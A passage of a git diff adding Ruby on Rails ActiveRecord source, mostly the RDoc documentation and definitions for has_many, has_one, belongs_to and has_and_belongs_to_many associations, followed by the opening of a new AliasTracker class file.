+ #
+ # d = Dungeon.first
+ # t = d.traps.first
+ # d.level == t.dungeon.level # => true
+ # d.level = 10
+ # d.level == t.dungeon.level # => false
+ #
+ # The +Dungeon+ instances +d+ and <tt>t.dungeon</tt> in the above example refer to
+ # the same object data from the database, but are actually different in-memory copies
+ # of that data. Specifying the <tt>:inverse_of</tt> option on associations lets you tell
+ # Active Record about inverse relationships and it will optimise object loading. For
+ # example, if we changed our model definitions to:
+ #
+ # class Dungeon < ActiveRecord::Base
+ # has_many :traps, inverse_of: :dungeon
+ # has_one :evil_wizard, inverse_of: :dungeon
+ # end
+ #
+ # class Trap < ActiveRecord::Base
+ # belongs_to :dungeon, inverse_of: :traps
+ # end
+ #
+ # class EvilWizard < ActiveRecord::Base
+ # belongs_to :dungeon, inverse_of: :evil_wizard
+ # end
+ #
+ # Then, from our code snippet above, +d+ and <tt>t.dungeon</tt> are actually the same
+ # in-memory instance and our final <tt>d.level == t.dungeon.level</tt> will return +true+.
+ #
+ # There are limitations to <tt>:inverse_of</tt> support:
+ #
+ # * does not work with <tt>:through</tt> associations.
+ # * does not work with <tt>:polymorphic</tt> associations.
+ # * for +belongs_to+ associations +has_many+ inverse associations are ignored.
+ #
+ # == Deleting from associations
+ #
+ # === Dependent associations
+ #
+ # +has_many+, +has_one+ and +belongs_to+ associations support the <tt>:dependent</tt> option.
+ # This allows you to specify that associated records should be deleted when the owner is
+ # deleted.
+ #
+ # For example:
+ #
+ # class Author
+ # has_many :posts, dependent: :destroy
+ # end
+ # Author.find(1).destroy # => Will destroy all of the author's posts, too
+ #
+ # The <tt>:dependent</tt> option can have different values which specify how the deletion
+ # is done. For more information, see the documentation for this option on the different
+ # specific association types. When no option is given, the behavior is to do nothing
+ # with the associated records when destroying a record.
+ #
+ # Note that <tt>:dependent</tt> is implemented using Rails' callback
+ # system, which works by processing callbacks in order. Therefore, other
+ # callbacks declared either before or after the <tt>:dependent</tt> option
+ # can affect what it does.
+ #
+ # === Delete or destroy?
+ #
+ # +has_many+ and +has_and_belongs_to_many+ associations have the methods <tt>destroy</tt>,
+ # <tt>delete</tt>, <tt>destroy_all</tt> and <tt>delete_all</tt>.
+ #
+ # For +has_and_belongs_to_many+, <tt>delete</tt> and <tt>destroy</tt> are the same: they
+ # cause the records in the join table to be removed.
+ #
+ # For +has_many+, <tt>destroy</tt> and <tt>destroy_all</tt> will always call the <tt>destroy</tt> method of the
+ # record(s) being removed so that callbacks are run. However <tt>delete</tt> and <tt>delete_all</tt> will either
+ # do the deletion according to the strategy specified by the <tt>:dependent</tt> option, or
+ # if no <tt>:dependent</tt> option is given, then it will follow the default strategy.
+ # The default strategy is <tt>:nullify</tt> (set the foreign keys to <tt>nil</tt>), except for
+ # +has_many+ <tt>:through</tt>, where the default strategy is <tt>delete_all</tt> (delete
+ # the join records, without running their callbacks).
+ #
+ # There is also a <tt>clear</tt> method which is the same as <tt>delete_all</tt>, except that
+ # it returns the association rather than the records which have been deleted.
+ #
+ # === What gets deleted?
+ #
+ # There is a potential pitfall here: +has_and_belongs_to_many+ and +has_many+ <tt>:through</tt>
+ # associations have records in join tables, as well as the associated records. So when we
+ # call one of these deletion methods, what exactly should be deleted?
+ #
+ # The answer is that it is assumed that deletion on an association is about removing the
+ # <i>link</i> between the owner and the associated object(s), rather than necessarily the
+ # associated objects themselves. So with +has_and_belongs_to_many+ and +has_many+
+ # <tt>:through</tt>, the join records will be deleted, but the associated records won't.
+ #
+ # This makes sense if you think about it: if you were to call <tt>post.tags.delete(Tag.find_by(name: 'food'))</tt>
+ # you would want the 'food' tag to be unlinked from the post, rather than for the tag itself
+ # to be removed from the database.
+ #
+ # However, there are examples where this strategy doesn't make sense. For example, suppose
+ # a person has many projects, and each project has many tasks. If we deleted one of a person's
+ # tasks, we would probably not want the project to be deleted. In this scenario, the delete method
+ # won't actually work: it can only be used if the association on the join model is a
+ # +belongs_to+. In other situations you are expected to perform operations directly on
+ # either the associated records or the <tt>:through</tt> association.
+ #
+ # With a regular +has_many+ there is no distinction between the "associated records"
+ # and the "link", so there is only one choice for what gets deleted.
+ #
+ # With +has_and_belongs_to_many+ and +has_many+ <tt>:through</tt>, if you want to delete the
+ # associated records themselves, you can always do something along the lines of
+ # <tt>person.tasks.each(&:destroy)</tt>.
+ #
+ # == Type safety with <tt>ActiveRecord::AssociationTypeMismatch</tt>
+ #
+ # If you attempt to assign an object to an association that doesn't match the inferred
+ # or specified <tt>:class_name</tt>, you'll get an <tt>ActiveRecord::AssociationTypeMismatch</tt>.
+ #
+ # == Options
+ #
+ # All of the association macros can be specialized through options. This makes cases
+ # more complex than the simple and guessable ones possible.
+ module ClassMethods
+ # Specifies a one-to-many association. The following methods for retrieval and query of
+ # collections of associated objects will be added:
+ #
+ # [collection(force_reload = false)]
+ # Returns an array of all the associated objects.
+ # An empty array is returned if none are found.
+ # [collection<<(object, ...)]
+ # Adds one or more objects to the collection by setting their foreign keys to the collection's primary key.
+ # Note that this operation instantly fires update sql without waiting for the save or update call on the
+ # parent object, unless the parent object is a new record.
+ # [collection.delete(object, ...)]
+ # Removes one or more objects from the collection by setting their foreign keys to +NULL+.
+ # Objects will be in addition destroyed if they're associated with <tt>dependent: :destroy</tt>,
+ # and deleted if they're associated with <tt>dependent: :delete_all</tt>.
+ #
+ # If the <tt>:through</tt> option is used, then the join records are deleted (rather than
+ # nullified) by default, but you can specify <tt>dependent: :destroy</tt> or
+ # <tt>dependent: :nullify</tt> to override this.
+ # [collection.destroy(object, ...)]
+ # Removes one or more objects from the collection by running <tt>destroy</tt> on
+ # each record, regardless of any dependent option, ensuring callbacks are run.
+ #
+ # If the <tt>:through</tt> option is used, then the join records are destroyed
+ # instead, not the objects themselves.
+ # [collection=objects]
+ # Replaces the collections content by deleting and adding objects as appropriate. If the <tt>:through</tt>
+ # option is true callbacks in the join models are triggered except destroy callbacks, since deletion is
+ # direct.
+ # [collection_singular_ids]
+ # Returns an array of the associated objects' ids
+ # [collection_singular_ids=ids]
+ # Replace the collection with the objects identified by the primary keys in +ids+. This
+ # method loads the models and calls <tt>collection=</tt>. See above.
+ # [collection.clear]
+ # Removes every object from the collection. This destroys the associated objects if they
+ # are associated with <tt>dependent: :destroy</tt>, deletes them directly from the
+ # database if <tt>dependent: :delete_all</tt>, otherwise sets their foreign keys to +NULL+.
+ # If the <tt>:through</tt> option is true no destroy callbacks are invoked on the join models.
+ # Join models are directly deleted.
+ # [collection.empty?]
+ # Returns +true+ if there are no associated objects.
+ # [collection.size]
+ # Returns the number of associated objects.
+ # [collection.find(...)]
+ # Finds an associated object according to the same rules as ActiveRecord::Base.find.
+ # [collection.exists?(...)]
+ # Checks whether an associated object with the given conditions exists.
+ # Uses the same rules as ActiveRecord::Base.exists?.
+ # [collection.build(attributes = {}, ...)]
+ # Returns one or more new objects of the collection type that have been instantiated
+ # with +attributes+ and linked to this object through a foreign key, but have not yet
+ # been saved.
+ # [collection.create(attributes = {})]
+ # Returns a new object of the collection type that has been instantiated
+ # with +attributes+, linked to this object through a foreign key, and that has already
+ # been saved (if it passed the validation). *Note*: This only works if the base model
+ # already exists in the DB, not if it is a new (unsaved) record!
+ # [collection.create!(attributes = {})]
+ # Does the same as <tt>collection.create</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
+ # if the record is invalid.
+ #
+ # (*Note*: +collection+ is replaced with the symbol passed as the first argument, so
+ # <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.)
+ #
+ # === Example
+ #
+ # Example: A Firm class declares <tt>has_many :clients</tt>, which will add:
+ # * <tt>Firm#clients</tt> (similar to <tt>Client.where(firm_id: id)</tt>)
+ # * <tt>Firm#clients<<</tt>
+ # * <tt>Firm#clients.delete</tt>
+ # * <tt>Firm#clients.destroy</tt>
+ # * <tt>Firm#clients=</tt>
+ # * <tt>Firm#client_ids</tt>
+ # * <tt>Firm#client_ids=</tt>
+ # * <tt>Firm#clients.clear</tt>
+ # * <tt>Firm#clients.empty?</tt> (similar to <tt>firm.clients.size == 0</tt>)
+ # * <tt>Firm#clients.size</tt> (similar to <tt>Client.count "firm_id = #{id}"</tt>)
+ # * <tt>Firm#clients.find</tt> (similar to <tt>Client.where(firm_id: id).find(id)</tt>)
+ # * <tt>Firm#clients.exists?(name: 'ACME')</tt> (similar to <tt>Client.exists?(name: 'ACME', firm_id: firm.id)</tt>)
+ # * <tt>Firm#clients.build</tt> (similar to <tt>Client.new("firm_id" => id)</tt>)
+ # * <tt>Firm#clients.create</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save; c</tt>)
+ # * <tt>Firm#clients.create!</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save!</tt>)
+ # The declaration can also include an options hash to specialize the behavior of the association.
+ #
+ # === Options
+ # [:class_name]
+ # Specify the class name of the association. Use it only if that name can't be inferred
+ # from the association name. So <tt>has_many :products</tt> will by default be linked
+ # to the Product class, but if the real class name is SpecialProduct, you'll have to
+ # specify it with this option.
+ # [:foreign_key]
+ # Specify the foreign key used for the association. By default this is guessed to be the name
+ # of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_many+
+ # association will use "person_id" as the default <tt>:foreign_key</tt>.
+ # [:primary_key]
+ # Specify the method that returns the primary key used for the association. By default this is +id+.
+ # [:dependent]
+ # Controls what happens to the associated objects when
+ # their owner is destroyed. Note that these are implemented as
+ # callbacks, and Rails executes callbacks in order. Therefore, other
+ # similar callbacks may affect the :dependent behavior, and the
+ # :dependent behavior may affect other callbacks.
+ #
+ # * <tt>:destroy</tt> causes all the associated objects to also be destroyed.
+ # * <tt>:delete_all</tt> causes all the associated objects to be deleted directly from the database (so callbacks will not be executed).
+ # * <tt>:nullify</tt> causes the foreign keys to be set to +NULL+. Callbacks are not executed.
+ # * <tt>:restrict_with_exception</tt> causes an exception to be raised if there are any associated records.
+ # * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there are any associated objects.
+ #
+ # If using with the <tt>:through</tt> option, the association on the join model must be
+ # a +belongs_to+, and the records which get deleted are the join records, rather than
+ # the associated records.
+ # [:counter_cache]
+ # This option can be used to configure a custom named <tt>:counter_cache.</tt> You only need this option,
+ # when you customized the name of your <tt>:counter_cache</tt> on the <tt>belongs_to</tt> association.
+ # [:as]
+ # Specifies a polymorphic interface (See <tt>belongs_to</tt>).
+ # [:through]
+ # Specifies an association through which to perform the query. This can be any other type
+ # of association, including other <tt>:through</tt> associations. Options for <tt>:class_name</tt>,
+ # <tt>:primary_key</tt> and <tt>:foreign_key</tt> are ignored, as the association uses the
+ # source reflection.
+ #
+ # If the association on the join model is a +belongs_to+, the collection can be modified
+ # and the records on the <tt>:through</tt> model will be automatically created and removed
+ # as appropriate. Otherwise, the collection is read-only, so you should manipulate the
+ # <tt>:through</tt> association directly.
+ #
+ # If you are going to modify the association (rather than just read from it), then it is
+ # a good idea to set the <tt>:inverse_of</tt> option on the source association on the
+ # join model. This allows associated records to be built which will automatically create
+ # the appropriate join model records when they are saved. (See the 'Association Join Models'
+ # section above.)
+ # [:source]
+ # Specifies the source association name used by <tt>has_many :through</tt> queries.
+ # Only use it if the name cannot be inferred from the association.
+ # <tt>has_many :subscribers, through: :subscriptions</tt> will look for either <tt>:subscribers</tt> or
+ # <tt>:subscriber</tt> on Subscription, unless a <tt>:source</tt> is given.
+ # [:source_type]
+ # Specifies type of the source association used by <tt>has_many :through</tt> queries where the source
+ # association is a polymorphic +belongs_to+.
+ # [:validate]
+ # If +false+, don't validate the associated objects when saving the parent object. true by default.
+ # [:autosave]
+ # If true, always save the associated objects or destroy them if marked for destruction,
+ # when saving the parent object. If false, never save or destroy the associated objects.
+ # By default, only save associated objects that are new records. This option is implemented as a
+ # before_save callback. Because callbacks are run in the order they are defined, associated objects
+ # may need to be explicitly saved in any user-defined before_save callbacks.
+ #
+ # Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
+ # [:inverse_of]
+ # Specifies the name of the <tt>belongs_to</tt> association on the associated object
+ # that is the inverse of this <tt>has_many</tt> association. Does not work in combination
+ # with <tt>:through</tt> or <tt>:as</tt> options.
+ # See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
+ #
+ # Option examples:
+ # has_many :comments, -> { order "posted_on" }
+ # has_many :comments, -> { includes :author }
+ # has_many :people, -> { where("deleted = 0").order("name") }, class_name: "Person"
+ # has_many :tracks, -> { order "position" }, dependent: :destroy
+ # has_many :comments, dependent: :nullify
+ # has_many :tags, as: :taggable
+ # has_many :reports, -> { readonly }
+ # has_many :subscribers, through: :subscriptions, source: :user
+ def has_many(name, scope = nil, options = {}, &extension)
+ Builder::HasMany.build(self, name, scope, options, &extension)
+ end
+
+ # Specifies a one-to-one association with another class. This method should only be used
+ # if the other class contains the foreign key. If the current class contains the foreign key,
+ # then you should use +belongs_to+ instead. See also ActiveRecord::Associations::ClassMethods's overview
+ # on when to use has_one and when to use belongs_to.
+ #
+ # The following methods for retrieval and query of a single associated object will be added:
+ #
+ # [association(force_reload = false)]
+ # Returns the associated object. +nil+ is returned if none is found.
+ # [association=(associate)]
+ # Assigns the associate object, extracts the primary key, sets it as the foreign key,
+ # and saves the associate object.
+ # [build_association(attributes = {})]
+ # Returns a new object of the associated type that has been instantiated
+ # with +attributes+ and linked to this object through a foreign key, but has not
+ # yet been saved.
+ # [create_association(attributes = {})]
+ # Returns a new object of the associated type that has been instantiated
+ # with +attributes+, linked to this object through a foreign key, and that
+ # has already been saved (if it passed the validation).
+ # [create_association!(attributes = {})]
+ # Does the same as <tt>create_association</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
+ # if the record is invalid.
+ #
+ # (+association+ is replaced with the symbol passed as the first argument, so
+ # <tt>has_one :manager</tt> would add among others <tt>manager.nil?</tt>.)
+ #
+ # === Example
+ #
+ # An Account class declares <tt>has_one :beneficiary</tt>, which will add:
+ # * <tt>Account#beneficiary</tt> (similar to <tt>Beneficiary.where(account_id: id).first</tt>)
+ # * <tt>Account#beneficiary=(beneficiary)</tt> (similar to <tt>beneficiary.account_id = account.id; beneficiary.save</tt>)
+ # * <tt>Account#build_beneficiary</tt> (similar to <tt>Beneficiary.new("account_id" => id)</tt>)
+ # * <tt>Account#create_beneficiary</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save; b</tt>)
+ # * <tt>Account#create_beneficiary!</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save!; b</tt>)
+ #
+ # === Options
+ #
+ # The declaration can also include an options hash to specialize the behavior of the association.
+ #
+ # Options are:
+ # [:class_name]
+ # Specify the class name of the association. Use it only if that name can't be inferred
+ # from the association name. So <tt>has_one :manager</tt> will by default be linked to the Manager class, but
+ # if the real class name is Person, you'll have to specify it with this option.
+ # [:dependent]
+ # Controls what happens to the associated object when
+ # its owner is destroyed:
+ #
+ # * <tt>:destroy</tt> causes the associated object to also be destroyed
+ # * <tt>:delete</tt> causes the associated object to be deleted directly from the database (so callbacks will not execute)
+ # * <tt>:nullify</tt> causes the foreign key to be set to +NULL+. Callbacks are not executed.
+ # * <tt>:restrict_with_exception</tt> causes an exception to be raised if there is an associated record
+ # * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there is an associated object
+ # [:foreign_key]
+ # Specify the foreign key used for the association. By default this is guessed to be the name
+ # of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_one+ association
+ # will use "person_id" as the default <tt>:foreign_key</tt>.
+ # [:primary_key]
+ # Specify the method that returns the primary key used for the association. By default this is +id+.
+ # [:as]
+ # Specifies a polymorphic interface (See <tt>belongs_to</tt>).
+ # [:through]
+ # Specifies a Join Model through which to perform the query. Options for <tt>:class_name</tt>,
+ # <tt>:primary_key</tt>, and <tt>:foreign_key</tt> are ignored, as the association uses the
+ # source reflection. You can only use a <tt>:through</tt> query through a <tt>has_one</tt>
+ # or <tt>belongs_to</tt> association on the join model.
+ # [:source]
+ # Specifies the source association name used by <tt>has_one :through</tt> queries.
+ # Only use it if the name cannot be inferred from the association.
+ # <tt>has_one :favorite, through: :favorites</tt> will look for a
+ # <tt>:favorite</tt> on Favorite, unless a <tt>:source</tt> is given.
+ # [:source_type]
+ # Specifies type of the source association used by <tt>has_one :through</tt> queries where the source
+ # association is a polymorphic +belongs_to+.
+ # [:validate]
+ # If +false+, don't validate the associated object when saving the parent object. +false+ by default.
+ # [:autosave]
+ # If true, always save the associated object or destroy it if marked for destruction,
+ # when saving the parent object. If false, never save or destroy the associated object.
+ # By default, only save the associated object if it's a new record.
+ #
+ # Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
+ # [:inverse_of]
+ # Specifies the name of the <tt>belongs_to</tt> association on the associated object
+ # that is the inverse of this <tt>has_one</tt> association. Does not work in combination
+ # with <tt>:through</tt> or <tt>:as</tt> options.
+ # See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
+ #
+ # Option examples:
+ # has_one :credit_card, dependent: :destroy # destroys the associated credit card
+ # has_one :credit_card, dependent: :nullify # updates the associated records foreign
+ # # key value to NULL rather than destroying it
+ # has_one :last_comment, -> { order 'posted_on' }, class_name: "Comment"
+ # has_one :project_manager, -> { where role: 'project_manager' }, class_name: "Person"
+ # has_one :attachment, as: :attachable
+ # has_one :boss, readonly: :true
+ # has_one :club, through: :membership
+ # has_one :primary_address, -> { where primary: true }, through: :addressables, source: :addressable
+ def has_one(name, scope = nil, options = {})
+ Builder::HasOne.build(self, name, scope, options)
+ end
+
+ # Specifies a one-to-one association with another class. This method should only be used
+ # if this class contains the foreign key. If the other class contains the foreign key,
+ # then you should use +has_one+ instead. See also ActiveRecord::Associations::ClassMethods's overview
+ # on when to use +has_one+ and when to use +belongs_to+.
+ #
+ # Methods will be added for retrieval and query for a single associated object, for which
+ # this object holds an id:
+ #
+ # [association(force_reload = false)]
+ # Returns the associated object. +nil+ is returned if none is found.
+ # [association=(associate)]
+ # Assigns the associate object, extracts the primary key, and sets it as the foreign key.
+ # [build_association(attributes = {})]
+ # Returns a new object of the associated type that has been instantiated
+ # with +attributes+ and linked to this object through a foreign key, but has not yet been saved.
+ # [create_association(attributes = {})]
+ # Returns a new object of the associated type that has been instantiated
+ # with +attributes+, linked to this object through a foreign key, and that
+ # has already been saved (if it passed the validation).
+ # [create_association!(attributes = {})]
+ # Does the same as <tt>create_association</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
+ # if the record is invalid.
+ #
+ # (+association+ is replaced with the symbol passed as the first argument, so
+ # <tt>belongs_to :author</tt> would add among others <tt>author.nil?</tt>.)
+ #
+ # === Example
+ #
+ # A Post class declares <tt>belongs_to :author</tt>, which will add:
+ # * <tt>Post#author</tt> (similar to <tt>Author.find(author_id)</tt>)
+ # * <tt>Post#author=(author)</tt> (similar to <tt>post.author_id = author.id</tt>)
+ # * <tt>Post#build_author</tt> (similar to <tt>post.author = Author.new</tt>)
+ # * <tt>Post#create_author</tt> (similar to <tt>post.author = Author.new; post.author.save; post.author</tt>)
+ # * <tt>Post#create_author!</tt> (similar to <tt>post.author = Author.new; post.author.save!; post.author</tt>)
+ # The declaration can also include an options hash to specialize the behavior of the association.
+ #
+ # === Options
+ #
+ # [:class_name]
+ # Specify the class name of the association. Use it only if that name can't be inferred
+ # from the association name. So <tt>belongs_to :author</tt> will by default be linked to the Author class, but
+ # if the real class name is Person, you'll have to specify it with this option.
+ # [:foreign_key]
+ # Specify the foreign key used for the association. By default this is guessed to be the name
+ # of the association with an "_id" suffix. So a class that defines a <tt>belongs_to :person</tt>
+ # association will use "person_id" as the default <tt>:foreign_key</tt>. Similarly,
+ # <tt>belongs_to :favorite_person, class_name: "Person"</tt> will use a foreign key
+ # of "favorite_person_id".
+ # [:foreign_type]
+ # Specify the column used to store the associated object's type, if this is a polymorphic
+ # association. By default this is guessed to be the name of the association with a "_type"
+ # suffix. So a class that defines a <tt>belongs_to :taggable, polymorphic: true</tt>
+ # association will use "taggable_type" as the default <tt>:foreign_type</tt>.
+ # [:primary_key]
+ # Specify the method that returns the primary key of associated object used for the association.
+ # By default this is id.
+ # [:dependent]
+ # If set to <tt>:destroy</tt>, the associated object is destroyed when this object is. If set to
+ # <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method.
+ # This option should not be specified when <tt>belongs_to</tt> is used in conjunction with
+ # a <tt>has_many</tt> relationship on another class because of the potential to leave
+ # orphaned records behind.
+ # [:counter_cache]
+ # Caches the number of belonging objects on the associate class through the use of +increment_counter+
+ # and +decrement_counter+. The counter cache is incremented when an object of this
+ # class is created and decremented when it's destroyed. This requires that a column
+ # named <tt>#{table_name}_count</tt> (such as +comments_count+ for a belonging Comment class)
+ # is used on the associate class (such as a Post class) - that is the migration for
+ # <tt>#{table_name}_count</tt> is created on the associate class (such that Post.comments_count will
+ # return the count cached, see note below). You can also specify a custom counter
+ # cache column by providing a column name instead of a +true+/+false+ value to this
+ # option (e.g., <tt>counter_cache: :my_custom_counter</tt>.)
+ # Note: Specifying a counter cache will add it to that model's list of readonly attributes
+ # using +attr_readonly+.
+ # [:polymorphic]
+ # Specify this association is a polymorphic association by passing +true+.
+ # Note: If you've enabled the counter cache, then you may want to add the counter cache attribute
+ # to the +attr_readonly+ list in the associated classes (e.g. <tt>class Post; attr_readonly :comments_count; end</tt>).
+ # [:validate]
+ # If +false+, don't validate the associated objects when saving the parent object. +false+ by default.
+ # [:autosave]
+ # If true, always save the associated object or destroy it if marked for destruction, when
+ # saving the parent object.
+ # If false, never save or destroy the associated object.
+ # By default, only save the associated object if it's a new record.
+ #
+ # Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
+ # [:touch]
+ # If true, the associated object will be touched (the updated_at/on attributes set to now)
+ # when this record is either saved or destroyed. If you specify a symbol, that attribute
+ # will be updated with the current time in addition to the updated_at/on attribute.
+ # [:inverse_of]
+ # Specifies the name of the <tt>has_one</tt> or <tt>has_many</tt> association on the associated
+ # object that is the inverse of this <tt>belongs_to</tt> association. Does not work in
+ # combination with the <tt>:polymorphic</tt> options.
+ # See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
+ #
+ # Option examples:
+ # belongs_to :firm, foreign_key: "client_of"
+ # belongs_to :person, primary_key: "name", foreign_key: "person_name"
+ # belongs_to :author, class_name: "Person", foreign_key: "author_id"
+ # belongs_to :valid_coupon, ->(o) { where "discounts > #{o.payments_count}" },
+ # class_name: "Coupon", foreign_key: "coupon_id"
+ # belongs_to :attachable, polymorphic: true
+ # belongs_to :project, readonly: true
+ # belongs_to :post, counter_cache: true
+ # belongs_to :company, touch: true
+ # belongs_to :company, touch: :employees_last_updated_at
+ def belongs_to(name, scope = nil, options = {})
+ Builder::BelongsTo.build(self, name, scope, options)
+ end
+
+ # Specifies a many-to-many relationship with another class. This associates two classes via an
+ # intermediate join table. Unless the join table is explicitly specified as an option, it is
+ # guessed using the lexical order of the class names. So a join between Developer and Project
+ # will give the default join table name of "developers_projects" because "D" precedes "P" alphabetically.
+ # Note that this precedence is calculated using the <tt><</tt> operator for String. This
+ # means that if the strings are of different lengths, and the strings are equal when compared
+ # up to the shortest length, then the longer string is considered of higher
+ # lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers"
+ # to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes",
+ # but it in fact generates a join table name of "paper_boxes_papers". Be aware of this caveat, and use the
+ # custom <tt>:join_table</tt> option if you need to.
+ # If your tables share a common prefix, it will only appear once at the beginning. For example,
+ # the tables "catalog_categories" and "catalog_products" generate a join table name of "catalog_categories_products".
+ #
+ # The join table should not have a primary key or a model associated with it. You must manually generate the
+ # join table with a migration such as this:
+ #
+ # class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration
+ # def change
+ # create_table :developers_projects, id: false do |t|
+ # t.integer :developer_id
+ # t.integer :project_id
+ # end
+ # end
+ # end
+ #
+ # It's also a good idea to add indexes to each of those columns to speed up the joins process.
+ # However, in MySQL it is advised to add a compound index for both of the columns as MySQL only
+ # uses one index per table during the lookup.
+ #
+ # Adds the following methods for retrieval and query:
+ #
+ # [collection(force_reload = false)]
+ # Returns an array of all the associated objects.
+ # An empty array is returned if none are found.
+ # [collection<<(object, ...)]
+ # Adds one or more objects to the collection by creating associations in the join table
+ # (<tt>collection.push</tt> and <tt>collection.concat</tt> are aliases to this method).
+ # Note that this operation instantly fires update sql without waiting for the save or update call on the
+ # parent object, unless the parent object is a new record.
+ # [collection.delete(object, ...)]
+ # Removes one or more objects from the collection by removing their associations from the join table.
+ # This does not destroy the objects.
+ # [collection.destroy(object, ...)]
+ # Removes one or more objects from the collection by running destroy on each association in the join table, overriding any dependent option.
+ # This does not destroy the objects.
+ # [collection=objects]
+ # Replaces the collection's content by deleting and adding objects as appropriate.
+ # [collection_singular_ids]
+ # Returns an array of the associated objects' ids.
+ # [collection_singular_ids=ids]
+ # Replace the collection by the objects identified by the primary keys in +ids+.
+ # [collection.clear]
+ # Removes every object from the collection. This does not destroy the objects.
+ # [collection.empty?]
+ # Returns +true+ if there are no associated objects.
+ # [collection.size]
+ # Returns the number of associated objects.
+ # [collection.find(id)]
+ # Finds an associated object responding to the +id+ and that
+ # meets the condition that it has to be associated with this object.
+ # Uses the same rules as ActiveRecord::Base.find.
+ # [collection.exists?(...)]
+ # Checks whether an associated object with the given conditions exists.
+ # Uses the same rules as ActiveRecord::Base.exists?.
+ # [collection.build(attributes = {})]
+ # Returns a new object of the collection type that has been instantiated
+ # with +attributes+ and linked to this object through the join table, but has not yet been saved.
+ # [collection.create(attributes = {})]
+ # Returns a new object of the collection type that has been instantiated
+ # with +attributes+, linked to this object through the join table, and that has already been
+ # saved (if it passed the validation).
+ #
+ # (+collection+ is replaced with the symbol passed as the first argument, so
+ # <tt>has_and_belongs_to_many :categories</tt> would add among others <tt>categories.empty?</tt>.)
+ #
+ # === Example
+ #
+ # A Developer class declares <tt>has_and_belongs_to_many :projects</tt>, which will add:
+ # * <tt>Developer#projects</tt>
+ # * <tt>Developer#projects<<</tt>
+ # * <tt>Developer#projects.delete</tt>
+ # * <tt>Developer#projects.destroy</tt>
+ # * <tt>Developer#projects=</tt>
+ # * <tt>Developer#project_ids</tt>
+ # * <tt>Developer#project_ids=</tt>
+ # * <tt>Developer#projects.clear</tt>
+ # * <tt>Developer#projects.empty?</tt>
+ # * <tt>Developer#projects.size</tt>
+ # * <tt>Developer#projects.find(id)</tt>
+ # * <tt>Developer#projects.exists?(...)</tt>
+ # * <tt>Developer#projects.build</tt> (similar to <tt>Project.new("developer_id" => id)</tt>)
+ # * <tt>Developer#projects.create</tt> (similar to <tt>c = Project.new("developer_id" => id); c.save; c</tt>)
+ # The declaration may include an options hash to specialize the behavior of the association.
+ #
+ # === Options
+ #
+ # [:class_name]
+ # Specify the class name of the association. Use it only if that name can't be inferred
+ # from the association name. So <tt>has_and_belongs_to_many :projects</tt> will by default be linked to the
+ # Project class, but if the real class name is SuperProject, you'll have to specify it with this option.
+ # [:join_table]
+ # Specify the name of the join table if the default based on lexical order isn't what you want.
+ # <b>WARNING:</b> If you're overwriting the table name of either class, the +table_name+ method
+ # MUST be declared underneath any +has_and_belongs_to_many+ declaration in order to work.
+ # [:foreign_key]
+ # Specify the foreign key used for the association. By default this is guessed to be the name
+ # of this class in lower-case and "_id" suffixed. So a Person class that makes
+ # a +has_and_belongs_to_many+ association to Project will use "person_id" as the
+ # default <tt>:foreign_key</tt>.
+ # [:association_foreign_key]
+ # Specify the foreign key used for the association on the receiving side of the association.
+ # By default this is guessed to be the name of the associated class in lower-case and "_id" suffixed.
+ # So if a Person class makes a +has_and_belongs_to_many+ association to Project,
+ # the association will use "project_id" as the default <tt>:association_foreign_key</tt>.
+ # [:readonly]
+ # If true, all the associated objects are readonly through the association.
+ # [:validate]
+ # If +false+, don't validate the associated objects when saving the parent object. +true+ by default.
+ # [:autosave]
+ # If true, always save the associated objects or destroy them if marked for destruction, when
+ # saving the parent object.
+ # If false, never save or destroy the associated objects.
+ # By default, only save associated objects that are new records.
+ #
+ # Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
+ #
+ # Option examples:
+ # has_and_belongs_to_many :projects
+ # has_and_belongs_to_many :projects, -> { includes :milestones, :manager }
+ # has_and_belongs_to_many :nations, class_name: "Country"
+ # has_and_belongs_to_many :categories, join_table: "prods_cats"
+ # has_and_belongs_to_many :categories, -> { readonly }
+ def has_and_belongs_to_many(name, scope = nil, options = {}, &extension)
+ Builder::HasAndBelongsToMany.build(self, name, scope, options, &extension)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb
new file mode 100644
index 0000000..0c23029
--- /dev/null
+++ b/activerecord/lib/active_record/associations/alias_tracker.rb
@@ -0,0 +1,76 @@
+require 'active_support/core_ext/string/conversions'
+
+module ActiveRecord
+ module Associations
+ # Keeps track of table aliases for ActiveRecord::Associations::ClassMethods::JoinDependency and
+ # ActiveRecord::Associations::ThroughAssociationScope
+ class AliasTracker # :nodoc:
+ attr_reader :aliases, :table_joins, :connection
+
+ # table_joins is an array of arel joins which might conflict with the aliases we assign here
+ def initialize(connection = Base.connection, table_joins = [])
+ @aliases = Hash.new { |h,k| h[k] = initial_count_for(k) }
+ @table_joins = table_joins
+ @connection = connection
+ end
+
+ def aliased_table_for(table_name, aliased_name = nil)
+ table_alias = aliased_name_for(table_name, aliased_name)
+
+ if table_alias == table_name
+ Arel::Table.new(table_name)
+ else
+ Arel::Table.new(table_name).alias(table_alias)
+ end
+ end
+
+ def aliased_name_for(table_name, aliased_name = nil)
+ aliased_name ||= table_name
+
